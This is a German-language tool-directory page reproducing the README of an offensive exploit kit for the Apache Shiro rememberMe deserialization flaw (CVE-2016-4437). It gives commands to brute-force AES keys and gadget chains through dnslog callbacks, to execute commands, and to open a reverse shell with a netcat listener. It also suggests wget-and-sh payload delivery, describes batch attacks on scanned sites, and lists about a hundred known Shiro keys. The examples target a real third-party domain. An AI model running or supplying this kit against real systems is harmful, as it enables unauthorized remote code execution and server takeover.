Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Awesome_shiro — CVE-2016-4437-Shiro-Deserialisierungs-Brute-Force-Modul und Schlüssel, Skript für Befehlsausführung und Reverse Shell | Kitploit
Tools/GitHubGitHub/bkfish/awesome_shiro
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiro-Deserialisierungs-Brute-Force-Modul und Schlüssel, Skript für Befehlsausführung und Reverse Shell

Repository anzeigen
55162vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Awesome-shiro

CVE-2016-4437 Shiro<=1.2.4 Deserialisierung, Tool zum Brute-Force von Modul und Key, Codeausführung und Reverse Shell


Ursache der Schwachstelle

Da Shiro das rememberme-Feld im Cookie deserialisiert, wird der eingefügte Befehl ausgeführt, wenn man die Kodierung von Shiro kennt, den Schadcode mit dieser Kodierung kodiert und im Cookie des HTTP-Headers platziert. Beim Deserialisieren des rememberme-Felds des übermittelten Cookies wird der eingefügte Befehl ausgeführt, was letztlich eine Befehlsausführung ermöglicht.

Shiro verwendet standardmäßig den CookieRememberMeManager. Der Ablauf der Cookie-Verarbeitung lautet: rememberMe-Cookiewert abrufen --> Base64-Dekodierung --> AES-Entschlüsselung --> Deserialisierung

Umgebung

Linux/Windows 10 werden unterstützt
Python2/Python3 werden unterstützt
Da sich unter module die ysoserial.jar befindet, ist das Projekt etwas größer; bitte um Nachsicht.

Lokales Einrichten der Zielumgebung

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

Skriptverwendung

1. shiro_crack.py – Brute-Force-Modul

Muss mit http://dnslog.cn/ kombiniert werden.

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

Nach Erfolg die Aufzeichnung prüfen – das Format lautet {{key}}.{{Modul}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

Daraus geht hervor, dass der erfolgreiche Key U3ByaW5nQmxhZGUAAAAAAA== und das Modul CommonsBeanutils1 sind. Da der Key Zeichen wie ==/+ enthält, escapet dieses Projekt ein wenig. Man muss die Keys in Anhang 1 selbst vergleichen. Auf fofa ein Beispiel heraussuchen 1.png 2.png

Prinzip von shiro_crack.py

Im Internet gibt es zwar viele Tools zum Brute-Force von Modulen und Keys, aber nach einem erfolgreichen Brute-Force weiß man meist nur, dass die Verbindung steht, nicht aber, welches Modul und welcher Key verwendet wurden. Denn bei einer RCE ohne Rückgabe ist der Antwortcode unabhängig vom Erfolg immer 200. Dieses Projekt kombiniert das Brute-Force von Modul und Key mit dnslog, um den erfolgreichen Key und das Modul indirekt zu ermitteln. Das Prinzip entspricht der Bedeutung von DNSlog: DNS hinterlässt beim Auflösen Logs. Durch das Lesen der Auflösungsprotokolle mehrstufiger Domains erhält man die Request-Informationen.

2. shiro_rce.py – RCE-Nutzung

Kann mit http://dnslog.cn/ kombiniert werden.

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

In dnslog wird ping rcetest.x9zm4v.dnslog.cn angezeigt. Zur Unterscheidung wird eine noch tiefere Domain-Ebene empfohlen.

shiro_rce-Konfiguration

  1. Modul konfigurieren In Zeile 13 muss popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)darin CommonsBeanutils1 durch das erfolgreich ermittelte Modul ersetzt werden.
  2. Key konfigurieren In Zeile 16
root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 

in den erfolgreich ermittelten Key ändern. Auf fofa ein Beispiel heraussuchen 3.png 4.png

3. shiro_getshell – Reverse Shell

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}

Aus Sicherheitsgründen lieber lokal angreifen. Das Prinzip besteht darin, JRMPListener und Payload einfach zusammenzupacken; eigentlich kann man auf jrmplistener verzichten.

shiro_getshell-Test:

6.png 5.png


Eine kleine Idee Wenn die Maschine ausgehenden Netzwerkverkehr erlaubt, warum dann nicht direkt shiro_rec mit bash反弹shell nutzen? Ich habe es ein paar Mal vergeblich versucht; ich vermute, dass Shiro eine Art Filterung vornimmt. Aber ich habe festgestellt, dass man zuerst per wget ein Reverse-Shell-Skript herunterladen und dann mit sh ausführen kann. Referenz: Eine kleine Untersuchung zum Reverse Shell ohne eigenen jrmplistener


4. fuzz-shiro

Führt anhand von Request- und Response-Headern einen einfachen Test durch – Websites mit Shiro werden in shiro.txt abgelegt.

5. shiro_piliang_crack.py

Es wird empfohlen, zuerst mit fuzz-shiro die Shiro-Websites in shiro.txt zu sammeln und dann im Batch anzugreifen.
Der dnsLog-Eintrag lautet:

{{key}}.{{Modul}}.{{url}}.dnsurl

Selbst getestet, funktioniert ganz gut.

Häufige Probleme

1. Unter Windows 10 erscheint "No module named 'Crypto'"

Führe die folgenden Befehle aus:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

Wechsle im Python-Installationsverzeichnis in den Ordner \Lib\site-packages und benenne den Ordner crypto in Crypto um.

Anhang 1: Häufig verwendete Shiro-Keys

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
Tool herunterladen